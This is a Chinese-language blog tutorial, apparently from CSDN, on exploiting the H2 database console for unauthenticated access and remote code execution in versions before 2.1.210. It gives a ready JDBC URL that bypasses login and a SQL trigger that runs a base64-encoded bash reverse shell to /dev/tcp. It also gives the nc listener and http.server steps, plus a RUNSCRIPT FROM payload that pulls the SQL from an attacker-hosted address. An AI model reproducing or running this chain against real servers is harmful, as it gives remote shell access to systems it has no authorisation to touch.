数据库应用-H2database--未授权访问&命令执行漏洞

数据库应用-H2database–未授权访问&命令执行漏洞

Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。

H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

1、未授权访问:

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

将上面这条代码复制到 JDBC URL中

image

直接点击连接即可,未授权进入数据库

image

2、命令执行漏洞:

在攻击机上创建一个数据库文件:h2database.sql

这个sql文件内容需要自己修改

反弹shell命令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1 (这个IP写你shell要反弹到哪台主机上的那个主机的IP)

CREATE TABLE test (

     id INT NOT NULL

 );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,把反弹shell的命令base64编码过后放在这里}|{base64,-d}|{bash,-i}");';

​​1700927451238​​

在攻击机上监听端口 nc -lvvp xxxx (这个端口要看你刚才反弹shell时对应的端口)

image

启动提供SQL文件远程加载服务

利用以下命令快速提供一个web服务,这条命令会把当前目录下的所有内容共享出去,那么你需要到刚才创建sql文件的目录下执行下面这条命令

python3 -m http.server 端口

image

填入Payload使其加载远程SQL

下面这条命令的后面需要修改一下你自己攻击机的IP和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://192.168.91.129:89/h2database.sql';\

然后把命令写入到 JDBC URL中点击连接即可

image

返回监听的主机上 看到拿到了反弹过来的shell,命令执行成功

image

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值